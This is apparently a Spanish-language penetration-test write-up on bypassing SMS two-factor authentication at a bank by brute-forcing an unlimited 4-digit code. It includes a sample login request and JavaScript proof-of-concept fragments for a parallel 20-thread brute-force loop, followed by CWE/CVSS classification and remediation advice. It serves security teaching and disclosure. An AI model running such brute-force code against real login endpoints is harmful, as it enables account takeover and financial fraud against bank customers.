Evitando la Autenticación de Dos Factores por SMS mediante Fuerza Bruta: Análisis de una Prueba de Penetración Bancaria
Durante una prueba de penetración autorizada de caja negra en una importante infraestructura bancaria (4.000 hosts, 4.500 usuarios), se descubrió una vulnerabilidad crítica que permitía eludir la autenticación de dos factores (2FA) basada en SMS en el portal de cuentas personales para solicitudes financieras. Un atacante con acceso al número de teléfono de la víctima podía automatizar completamente un ataque de fuerza bruta sobre un código de 4 dígitos sin límites de intentos, obteniendo acceso completo a datos de pasaporte, historiales de solicitudes y herramientas para transacciones fraudulentas.
Este acceso permitía solicitar préstamos, aprobar financiación de proyectos y confirmar pagos a través del servicio de atención al cliente, sin verificación adicional. Con 10.000 combinaciones posibles, el código podía descifrarse en segundos.
Análisis de la Lógica de la API y Autenticación
El proceso de inicio de sesión dependía de dos endpoints:
- Solicitud de SMS:
POSTdevuelve"repeat":180, bloqueando reintentos durante 3 minutos. - Verificación del código:
POST /api/*****/logincon cuerpo"{code":"0548","phone":"+7(111)222-22-22"}.
Un código incorrecto devuelve HTTP 400 con "Número de teléfono o código incorrecto." Un código correcto devuelve HTTP 200 con cookies de sesión (JSESSIONID, PHPSESSID). No había contadores de intentos, CAPTCHA, bloqueos por IP o sesión. Cada solicitud se procesaba de forma independiente.
POST /api/*****/login HTTP/1.1
Host: ****
Content-Type: application/json
{"code":"0548","phone":"+7(111) 222-22-22"}
Implementación de la Explotación en JavaScript
La prueba de concepto aprovechaba el contexto de sesión del navegador para eludir restricciones CORS y SameSite. El bucle principal realizaba fuerza bruta paralela en 20 hilos:
await fetch('https://roga_and_copyta/*****/api/*****/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({code: codeStr, phone: phone})
});
for (let i = 0; i < 20; i++) {
turboThread(i, start, end); // Rango de códigos
}
if (response.status === 200) {
foundCode = codeStr;
// Rellenar automáticamente el campo
}
El éxito se determinaba por una respuesta de estado 200. Un script similar funcionaba en Python. Tiempo de ataque: 35 segundos para 10.000 solicitudes.
Clasificación de la Vulnerabilidad y Causas Raíz
La falla coincide con CWE-307 (Restricción Inadecuada de Intentos Excesivos de Autenticación). Puntuación CVSS 3.1: 9.1 (Crítica) — Red, Baja complejidad, Sin privilegios, Sin interacción del usuario.
Fallos críticos de diseño:
- Usabilidad sobre seguridad: Sin límites de intentos para evitar quejas por errores tipográficos.
- Punto ciego de automatización: 4 dígitos son difíciles para humanos pero triviales para scripts.
- Sin pruebas de fuerza bruta: Las suposiciones de seguridad nunca se validaron.
Recomendaciones de Corrección
Para una defensa en capas, implementar:
- Límites de intentos: 3–5 intentos por código, con reenvío de SMS.
- CAPTCHA después de 2–3 intentos fallidos.
- Códigos de 6 dígitos (1 millón de combinaciones; la fuerza bruta toma horas).
- Monitoreo de anomalías: Frecuencia de solicitudes, comprobaciones de reputación de IP.
- Limitación de tasa por número de teléfono y sesión.
// Ejemplo de limitación de tasa en backend (pseudocódigo)
if (attempts[phone] > 5) {
invalidateCode(phone);
requireCaptcha();
}
Conclusiones Clave
- Evitar el 2FA otorga acceso completo a la cuenta: detalles del pasaporte, solicitudes, datos bancarios, confirmaciones de pago.
- Un código de 4 dígitos sin límites = 10.000 combinaciones, descifrado en 35 segundos.
- CWE-307 (CVSS 9.1): falta de protección contra ataques automatizados de fuerza bruta.
- Recomendación: aplicar límites + CAPTCHA + códigos de 6 dígitos + monitoreo en tiempo real.
- La vulnerabilidad se identificó durante pruebas de penetración antes de la explotación; todos los problemas han sido corregidos.
— Editorial Team
Aún no hay comentarios.